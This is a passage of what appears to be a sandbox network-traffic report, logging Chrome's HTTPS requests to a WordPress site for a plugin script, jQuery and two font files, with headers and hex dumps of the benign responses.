10 20 40 80 40 10 10 70 04 10 43 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 20 9f 80 80 Data Ascii: G1$@ @8L @ @@pC @ @ #_TL @G1$@ @8L @ @@pC @ @ #_TL @G1$@ @8L @ @@pC @ @

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.17	49716	200.111.89.45	443	7060	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:49:32 UTC	417	OUT	GET /wp-content/plugins/stop-user-enumeration/frontend/js/frontend.js?ver=1.6.1 HTTP/1.1 Host: patiooutletmaipu.cl Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 19:49:32 UTC	307	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:44:44 GMT Server: Apache/2 Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Fri, 26 Jul 2024 13:17:37 GMT ETag: "1e6-61e2655c79e40" Accept-Ranges: bytes Content-Length: 486 Vary: Accept-Encoding,User-Agent Content-Type: application/javascript
2025-01-10 19:49:32 UTC	486	IN	Data Raw: 2f 2a 0a 52 65 6d 6f 76 65 20 6e 75 6d 62 65 72 73 20 66 72 6f 6d 20 63 6f 6d 6d 65 6e 74 20 61 75 74 68 6f 72 0a 2a 2f 0a 0a 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 65 76 65 6e 74 29 20 7b 0a 20 20 20 20 76 61 72 20 63 6f 6d 6d 65 6e 74 46 6f 72 6d 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 63 6f 6d 6d 65 6e 74 66 6f 72 6d 22 29 3b 0a 20 20 20 20 69 66 20 28 6e 75 6c 6c 20 3d 3d 3d 20 63 6f 6d 6d 65 6e 74 46 6f 72 6d 29 20 7b 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 3b 0a 20 20 20 20 7d 0a 20 20 20 20 76 61 72 20 61 75 74 68 6f 72 20 3d 20 63 6f 6d 6d 65 6e 74 46 6f 72 6d 2e 71 75 65 Data Ascii: /Remove numbers from comment author/document.addEventListener('DOMContentLoaded', function (event) { var commentForm = document.getElementById("commentform"); if (null === commentForm) { return; } var author = commentForm.que

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.17	49717	200.111.89.45	443	7060	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:49:32 UTC	388	OUT	GET /wp-includes/js/jquery/jquery.min.js?ver=3.7.1 HTTP/1.1 Host: patiooutletmaipu.cl Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 19:49:32 UTC	311	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:44:44 GMT Server: Apache/2 Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 12 Jun 2024 19:54:19 GMT ETag: "15601-61ab6bf78d0c0" Accept-Ranges: bytes Content-Length: 87553 Vary: Accept-Encoding,User-Agent Content-Type: application/javascript
2025-01-10 19:49:32 UTC	7881	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 37 2e 31 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.7.1 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2025-01-10 19:49:33 UTC	8000	IN	Data Raw: 6f 64 65 26 26 74 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 29 2c 74 3d 6e 75 6c 6c 7d 7d 66 75 6e 63 74 69 6f 6e 20 42 28 74 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 66 65 28 65 2c 22 69 6e 70 75 74 22 29 26 26 65 2e 74 79 70 65 3d 3d 3d 74 7d 7d 66 75 6e 63 74 69 6f 6e 20 5f 28 74 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 28 66 65 28 65 2c 22 69 6e 70 75 74 22 29 7c 7c 66 65 28 65 2c 22 62 75 74 74 6f 6e 22 29 29 26 26 65 2e 74 79 70 65 3d 3d 3d 74 7d 7d 66 75 6e 63 74 69 6f 6e 20 7a 28 74 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 22 66 6f 72 6d 22 69 6e 20 65 3f 65 2e 70 61 72 65 6e 74 4e 6f 64 65 26 Data Ascii: ode&&t.parentNode.removeChild(t),t=null}}function B(t){return function(e){return fe(e,"input")&&e.type===t}}function _(t){return function(e){return(fe(e,"input")\|\|fe(e,"button"))&&e.type===t}}function z(t){return function(e){return"form"in e?e.parentNode&
2025-01-10 19:49:33 UTC	8000	IN	Data Raw: 6f 64 65 26 26 65 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 2c 21 30 3d 3d 3d 65 2e 73 65 6c 65 63 74 65 64 7d 2c 65 6d 70 74 79 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 65 3d 65 2e 66 69 72 73 74 43 68 69 6c 64 3b 65 3b 65 3d 65 2e 6e 65 78 74 53 69 62 6c 69 6e 67 29 69 66 28 65 2e 6e 6f 64 65 54 79 70 65 3c 36 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 70 61 72 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 21 62 2e 70 73 65 75 64 6f 73 2e 65 6d 70 74 79 28 65 29 7d 2c 68 65 61 64 65 72 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 71 2e 74 65 73 74 28 65 2e 6e 6f 64 65 4e 61 6d 65 29 7d 2c 69 6e 70 75 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e Data Ascii: ode&&e.parentNode.selectedIndex,!0===e.selected},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeType<6)return!1;return!0},parent:function(e){return!b.pseudos.empty(e)},header:function(e){return q.test(e.nodeName)},input:function(e){return
2025-01-10 19:49:33 UTC	8000	IN	Data Raw: 6e 75 6c 6c 3d 3d 65 3f 74 68 69 73 2e 70 72 65 76 4f 62 6a 65 63 74 3a 74 68 69 73 2e 70 72 65 76 4f 62 6a 65 63 74 2e 66 69 6c 74 65 72 28 65 29 29 7d 7d 29 2c 63 65 2e 65 61 63 68 28 7b 70 61 72 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 72 65 74 75 72 6e 20 74 26 26 31 31 21 3d 3d 74 2e 6e 6f 64 65 54 79 70 65 3f 74 3a 6e 75 6c 6c 7d 2c 70 61 72 65 6e 74 73 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 64 28 65 2c 22 70 61 72 65 6e 74 4e 6f 64 65 22 29 7d 2c 70 61 72 65 6e 74 73 55 6e 74 69 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 72 65 74 75 72 6e 20 64 28 65 2c 22 70 61 72 65 6e 74 4e 6f 64 65 22 2c 6e 29 7d 2c 6e 65 78 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b Data Ascii: null==e?this.prevObject:this.prevObject.filter(e))}}),ce.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return d(e,"parentNode")},parentsUntil:function(e,t,n){return d(e,"parentNode",n)},next:function(e){
2025-01-10 19:49:33 UTC	8000	IN	Data Raw: 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 7a 2e 73 65 74 28 74 68 69 73 2c 6e 2c 65 29 7d 29 7d 2c 6e 75 6c 6c 2c 65 2c 31 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 6e 75 6c 6c 2c 21 30 29 7d 2c 72 65 6d 6f 76 65 44 61 74 61 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 7a 2e 72 65 6d 6f 76 65 28 74 68 69 73 2c 65 29 7d 29 7d 7d 29 2c 63 65 2e 65 78 74 65 6e 64 28 7b 71 75 65 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 3b 69 66 28 65 29 72 65 74 75 72 6e 20 74 3d 28 74 7c 7c 22 66 78 22 29 2b 22 71 75 65 75 65 22 2c 72 3d 5f 2e 67 65 74 28 65 2c 74 29 2c 6e 26 26 28 21 72 7c 7c 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 6e 29 3f 72 3d 5f 2e 61 Data Ascii: h(function(){z.set(this,n,e)})},null,e,1<arguments.length,null,!0)},removeData:function(e){return this.each(function(){z.remove(this,e)})}}),ce.extend({queue:function(e,t,n){var r;if(e)return t=(t\|\|"fx")+"queue",r=_.get(e,t),n&&(!r\|\|Array.isArray(n)?r=_.a
2025-01-10 19:49:33 UTC	8000	IN	Data Raw: 74 54 61 72 67 65 74 3d 69 2e 65 6c 65 6d 2c 6e 3d 30 3b 77 68 69 6c 65 28 28 6f 3d 69 2e 68 61 6e 64 6c 65 72 73 5b 6e 2b 2b 5d 29 26 26 21 75 2e 69 73 49 6d 6d 65 64 69 61 74 65 50 72 6f 70 61 67 61 74 69 6f 6e 53 74 6f 70 70 65 64 28 29 29 75 2e 72 6e 61 6d 65 73 70 61 63 65 26 26 21 31 21 3d 3d 6f 2e 6e 61 6d 65 73 70 61 63 65 26 26 21 75 2e 72 6e 61 6d 65 73 70 61 63 65 2e 74 65 73 74 28 6f 2e 6e 61 6d 65 73 70 61 63 65 29 7c 7c 28 75 2e 68 61 6e 64 6c 65 4f 62 6a 3d 6f 2c 75 2e 64 61 74 61 3d 6f 2e 64 61 74 61 2c 76 6f 69 64 20 30 21 3d 3d 28 72 3d 28 28 63 65 2e 65 76 65 6e 74 2e 73 70 65 63 69 61 6c 5b 6f 2e 6f 72 69 67 54 79 70 65 5d 7c 7c 7b 7d 29 2e 68 61 6e 64 6c 65 7c 7c 6f 2e 68 61 6e 64 6c 65 72 29 2e 61 70 70 6c 79 28 69 2e 65 6c 65 6d 2c Data Ascii: tTarget=i.elem,n=0;while((o=i.handlers[n++])&&!u.isImmediatePropagationStopped())u.rnamespace&&!1!==o.namespace&&!u.rnamespace.test(o.namespace)\|\|(u.handleObj=o,u.data=o.data,void 0!==(r=((ce.event.special[o.origType]\|\|{}).handle\|\|o.handler).apply(i.elem,
2025-01-10 19:49:33 UTC	8000	IN	Data Raw: 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 31 3d 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 7c 7c 31 31 3d 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 29 7b 76 61 72 20 74 3d 52 65 28 74 68 69 73 2c 65 29 3b 74 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 65 2c 74 2e 66 69 72 73 74 43 68 69 6c 64 29 7d 7d 29 7d 2c 62 65 66 6f 72 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 24 65 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 69 73 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 74 68 69 73 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 65 2c 74 68 69 73 29 7d 29 7d 2c 61 66 74 65 72 3a 66 75 6e 63 74 69 6f 6e 28 29 7b Data Ascii: ,function(e){if(1===this.nodeType\|\|11===this.nodeType\|\|9===this.nodeType){var t=Re(this,e);t.insertBefore(e,t.firstChild)}})},before:function(){return $e(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this)})},after:function(){
2025-01-10 19:49:33 UTC	8000	IN	Data Raw: 73 4e 75 6d 62 65 72 5b 6e 5d 3f 22 22 3a 22 70 78 22 29 7d 2c 63 75 72 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 61 74 2e 70 72 6f 70 48 6f 6f 6b 73 5b 74 68 69 73 2e 70 72 6f 70 5d 3b 72 65 74 75 72 6e 20 65 26 26 65 2e 67 65 74 3f 65 2e 67 65 74 28 74 68 69 73 29 3a 61 74 2e 70 72 6f 70 48 6f 6f 6b 73 2e 5f 64 65 66 61 75 6c 74 2e 67 65 74 28 74 68 69 73 29 7d 2c 72 75 6e 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 3d 61 74 2e 70 72 6f 70 48 6f 6f 6b 73 5b 74 68 69 73 2e 70 72 6f 70 5d 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 64 75 72 61 74 69 6f 6e 3f 74 68 69 73 2e 70 6f 73 3d 74 3d 63 65 2e 65 61 73 69 6e 67 5b 74 68 69 73 2e 65 61 73 69 6e 67 5d 28 65 2c 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 64 75 Data Ascii: sNumber[n]?"":"px")},cur:function(){var e=at.propHooks[this.prop];return e&&e.get?e.get(this):at.propHooks._default.get(this)},run:function(e){var t,n=at.propHooks[this.prop];return this.options.duration?this.pos=t=ce.easing[this.easing](e,this.options.du
2025-01-10 19:49:33 UTC	8000	IN	Data Raw: 2c 6e 29 3a 28 31 3d 3d 3d 6f 26 26 63 65 2e 69 73 58 4d 4c 44 6f 63 28 65 29 7c 7c 28 69 3d 63 65 2e 61 74 74 72 48 6f 6f 6b 73 5b 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 28 63 65 2e 65 78 70 72 2e 6d 61 74 63 68 2e 62 6f 6f 6c 2e 74 65 73 74 28 74 29 3f 6d 74 3a 76 6f 69 64 20 30 29 29 2c 76 6f 69 64 20 30 21 3d 3d 6e 3f 6e 75 6c 6c 3d 3d 3d 6e 3f 76 6f 69 64 20 63 65 2e 72 65 6d 6f 76 65 41 74 74 72 28 65 2c 74 29 3a 69 26 26 22 73 65 74 22 69 6e 20 69 26 26 76 6f 69 64 20 30 21 3d 3d 28 72 3d 69 2e 73 65 74 28 65 2c 6e 2c 74 29 29 3f 72 3a 28 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 74 2c 6e 2b 22 22 29 2c 6e 29 3a 69 26 26 22 67 65 74 22 69 6e 20 69 26 26 6e 75 6c 6c 21 3d 3d 28 72 3d 69 2e 67 65 74 28 65 2c 74 29 29 3f 72 3a 6e 75 Data Ascii: ,n):(1===o&&ce.isXMLDoc(e)\|\|(i=ce.attrHooks[t.toLowerCase()]\|\|(ce.expr.match.bool.test(t)?mt:void 0)),void 0!==n?null===n?void ce.removeAttr(e,t):i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:(e.setAttribute(t,n+""),n):i&&"get"in i&&null!==(r=i.get(e,t))?r:nu
2025-01-10 19:49:33 UTC	8000	IN	Data Raw: 65 64 7c 7c 21 77 65 2e 74 65 73 74 28 65 29 29 7d 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 63 65 28 74 68 69 73 29 2e 76 61 6c 28 29 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 6e 3f 6e 75 6c 6c 3a 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 6e 29 3f 63 65 2e 6d 61 70 28 6e 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 7b 6e 61 6d 65 3a 74 2e 6e 61 6d 65 2c 76 61 6c 75 65 3a 65 2e 72 65 70 6c 61 63 65 28 4c 74 2c 22 5c 72 5c 6e 22 29 7d 7d 29 3a 7b 6e 61 6d 65 3a 74 2e 6e 61 6d 65 2c 76 61 6c 75 65 3a 6e 2e 72 65 70 6c 61 63 65 28 4c 74 2c 22 5c 72 5c 6e 22 29 7d 7d 29 2e 67 65 74 28 29 7d 7d 29 3b 76 61 72 20 4d 74 3d 2f 25 32 30 2f 67 2c 52 74 3d 2f 23 2e 2a 24 2f 2c 49 74 3d 2f 28 5b 3f 26 5d 29 5f 3d 5b 5e Data Ascii: ed\|\|!we.test(e))}).map(function(e,t){var n=ce(this).val();return null==n?null:Array.isArray(n)?ce.map(n,function(e){return{name:t.name,value:e.replace(Lt,"\r\n")}}):{name:t.name,value:n.replace(Lt,"\r\n")}}).get()}});var Mt=/%20/g,Rt=/#.*$/,It=/([?&])_=[^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.17	49718	200.111.89.45	443	7060	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:49:33 UTC	663	OUT	GET /wp-content/uploads/fonts/ITCAvantGardeStd-Bold.woff2 HTTP/1.1 Host: patiooutletmaipu.cl Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://patiooutletmaipu.cl sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://patiooutletmaipu.cl/wp-content/uploads/fonts/ma_customfonts.css?ver=aefe0098 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 19:49:33 UTC	272	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:44:44 GMT Server: Apache/2 Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 13 Jul 2023 17:51:13 GMT ETag: "4ea8-60061fa64c640" Accept-Ranges: bytes Content-Length: 20136 Vary: Accept-Encoding,User-Agent
2025-01-10 19:49:33 UTC	7920	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 4e a8 00 0f 00 00 00 00 e3 70 00 00 4e 46 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3f 46 46 54 4d 1c 1a 60 1b bc 48 1c a7 66 06 60 00 8a 36 11 08 0a 82 94 28 81 d2 19 0b 86 6a 00 01 36 02 24 03 8d 4e 04 20 05 92 60 07 97 68 1b f0 bd 37 d8 36 0d 7a 78 b7 03 79 bc bb df 1a 14 4c b7 f9 c8 ed 14 99 3d df 2f 3e 32 10 6c 1c b0 31 f2 6f 3a fb ff ff bf 27 95 43 4c 83 68 60 6c 3f c4 7a ef 2c bb 87 31 05 db 23 f6 54 62 ed 39 82 89 82 f0 ec c4 c1 48 c5 4b df 07 db 1a 5f b8 79 60 18 8f 43 62 e5 89 89 71 30 1f 58 ab 23 21 38 4d bb 2f 96 e2 3d 54 0d 6a 32 c3 b6 43 bf 54 05 a2 aa b0 99 4a 06 bf ed aa d9 c9 0e 14 3f a2 c2 84 d8 86 d8 85 ca 7f 59 eb a7 e2 54 81 14 7b 14 17 14 5f 48 98 e1 c0 4c 10 51 c5 59 23 f5 Data Ascii: wOF2NpNF?FFTM`Hf`6(j6$N `h76zxyL=/>2l1o:'CLh`l?z,1#Tb9HK_y`Cbq0X#!8M/=Tj2CTJ?YT{_HLQY#
2025-01-10 19:49:33 UTC	8000	IN	Data Raw: 62 ef 04 e2 95 6b 9e 34 e0 48 c4 c4 d7 3d e6 a1 c4 99 ab 7e 76 d0 47 e5 fb d7 16 27 d6 97 14 9f ec f7 13 60 7a e5 ae 42 dc 32 5d 06 a5 0d 43 41 9a 4c 6f 64 6d 6d 8c c2 d6 9c f3 a9 0d 38 90 ce f1 0f 9d d2 e0 1a a3 7a d6 99 16 77 10 78 fd 59 df 07 05 b8 05 0a 6e 24 35 b9 35 95 a8 37 05 8c ca 4b 4f 4d fe c8 70 5f 79 dc 13 8e 4d 90 f2 d2 90 ec 01 f8 a7 15 3a 78 8b cb e3 72 43 e6 47 ed f6 49 1d 68 67 df d0 12 a5 54 ec 28 8d 02 ad 23 65 31 e5 08 57 b6 9c c0 d3 27 5a bc 9a f9 c7 9b ff eb a0 7d c4 28 37 53 4b aa 00 6e d5 0d fd 4e e9 de 6f 0c e9 cb 62 7b 33 ba 71 6b a7 bb f5 a0 95 74 e8 b7 22 07 57 a1 b9 78 fb 4c a8 83 36 ee 3d e0 0a 3d e9 e3 39 b9 9e 6c 13 1c 01 37 36 ea df 7b e8 f1 e2 e2 e6 a1 e0 ae 11 6f 5b b5 6b c7 eb 54 21 23 2d 96 66 7e b7 6f 76 b1 ae 79 70 Data Ascii: bk4H=~vG'`zB2]CALodmm8zwxYn$557KOMp_yM:xrCGIhgT(#e1W'Z}(7SKnNob{3qkt"WxL6==9l76{o[kT!#-f~ovyp
2025-01-10 19:49:33 UTC	4216	IN	Data Raw: a0 42 46 d6 01 59 51 c9 ec f2 af cb f2 be 30 72 db 43 9b aa ab b8 d4 77 a9 ad 7d 97 9f 57 c1 ee 93 6b 51 26 7a 1b 51 57 2e 1f 97 fe 56 70 5c 7a 5c fd 9f a5 a5 e5 9f 2f 43 cd 97 80 e3 4a eb 38 34 31 be e6 b9 b6 20 ef 90 3e 95 79 76 9c 67 73 b4 1f 30 f1 49 78 af e8 54 da 61 54 b0 b9 55 9e 55 20 08 95 e5 3d 4a ae 3a 7e 64 63 7d ec e8 cb 55 69 f2 30 4f 9a d2 7f 24 3b 34 98 5d 23 c8 cc af 29 e6 d0 82 3d 1f 3c ea f1 58 61 5e 15 af c4 f7 a5 b1 9c 2a 6e 28 6b fc 61 fc c5 c6 11 96 a2 91 7d f4 b8 e2 75 b0 88 66 9d 90 df 18 11 5b d4 10 9f 90 d3 4a fc 91 e4 91 54 c0 69 36 e3 fd 5f 3d ed f9 97 02 c8 25 a4 5a 92 4c ee 13 b5 29 33 ff 64 3e 33 55 c5 55 d5 52 2f e0 6f 19 2d ad dc 03 b7 c6 cd aa 20 bd ec 42 e9 42 e6 d5 57 25 1d fc bd 84 e8 58 cf d4 ba 6b e8 58 16 cd 9f a7 Data Ascii: BFYQ0rCw}WkQ&zQW.Vp\z\/CJ841 >yvgs0IxTaTUU =J:~dc}Ui0O$;4]#)=<Xa^*n(ka}uf[JTi6_=%ZL)3d>3UUR/o- BBW%XkX

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.17	49720	200.111.89.45	443	7060	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:49:33 UTC	663	OUT	GET /wp-content/uploads/fonts/ITCAvantGardeStd-Demi.woff2 HTTP/1.1 Host: patiooutletmaipu.cl Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://patiooutletmaipu.cl sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://patiooutletmaipu.cl/wp-content/uploads/fonts/ma_customfonts.css?ver=aefe0098 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 19:49:33 UTC	272	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:44:44 GMT Server: Apache/2 Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 13 Jul 2023 17:51:13 GMT ETag: "4cac-60061fa64c640" Accept-Ranges: bytes Content-Length: 19628 Vary: Accept-Encoding,User-Agent
2025-01-10 19:49:33 UTC	7920	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 4c ac 00 0f 00 00 00 00 d6 e8 00 00 4c 4d 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3f 46 46 54 4d 1c 1a 60 1b a8 3a 1c a7 66 06 60 00 8a 36 11 08 0a 82 8f 04 81 cc 72 0b 86 6a 00 01 36 02 24 03 8d 4e 04 20 05 93 07 07 97 68 1b 62 b1 27 70 9b ce b2 88 df 6d 03 a0 67 2f 59 7b ee c3 82 71 6c 05 d8 38 80 78 c1 d6 8c 44 d8 4e ce 2a bc ec ff ff 4f 4b 1a 63 ac db b0 dd 00 01 4d ab ff a2 8a cc 44 d9 50 5b a8 3b b2 0a 76 59 d0 46 75 25 12 cc 01 f6 34 ad 3b 24 68 29 aa 0f 47 3d 63 34 34 3c 89 eb c5 6a 88 5d a1 d2 0e 4b 82 96 eb 26 7b 2d 1e 2a 96 8b 75 f4 2e 74 1c a7 d1 83 aa 40 da ec c9 e4 8e 02 49 44 a2 43 34 45 5f 62 39 32 85 82 aa d4 55 d2 41 8e f7 88 76 b6 e6 26 b8 2b 18 f2 34 18 15 ad 79 61 85 c4 c1 Data Ascii: wOF2LLM?FFTM`:f`6rj6$N hb'pmg/Y{ql8xDNOKcMDP[;vYFu%4;$h)G=c44<j]K&{-u.t@IDC4E_b92UAv&+4ya
2025-01-10 19:49:33 UTC	8000	IN	Data Raw: c7 a9 10 a5 19 aa 54 0c 86 33 18 87 b6 af 59 0c 15 43 8c 81 b1 8c 19 30 a4 f7 f7 1b c0 8a a7 57 b2 74 c3 fd 14 5b 46 76 93 cf 6a 5a 48 95 b5 3f aa 83 35 64 d8 8e 31 55 76 23 53 22 ed c2 f5 73 c8 5d 6c 4f 7e 05 aa 7f 04 c5 ea 80 cd f1 59 7d 3e 91 86 f5 57 83 f3 88 03 5b d0 90 04 01 9a bf e8 c2 04 c3 fb 08 9c e9 85 0c cc 34 9b 25 f1 eb a1 69 a7 e4 92 a5 68 a3 a9 3b c9 6f 5c 64 80 31 dd 9b 99 32 7e 0e 62 22 b5 73 a2 02 e6 c1 c5 8d d8 2b 91 3c 77 29 e9 d4 f0 aa 34 5d 2b 89 7d f2 03 d2 3c 31 9e 7c 9f f5 3c b9 5d 43 da 6f b2 b0 19 f5 1e 7c 8b bd e0 c5 c6 64 3b 09 7d 45 95 88 0f c5 1e f2 75 4e 25 b0 d6 3e e8 af d5 4c 94 39 63 1d 13 93 96 7e cc 8e 40 82 e8 b7 48 8d a6 3f e6 83 74 0b df 24 56 e0 74 00 f1 f8 79 e6 0a 6f 40 b7 ac 94 aa 4a 5b 47 5e 23 c7 e6 d0 7a aa Data Ascii: T3YC0Wt[FvjZH?5d1Uv#S"s]lO~Y}>W[4%ih;o\d12~b"s+<w)4]+}<1\|<]Co\|d;}EuN%>L9c~@H?t$Vtyo@J[G^#z
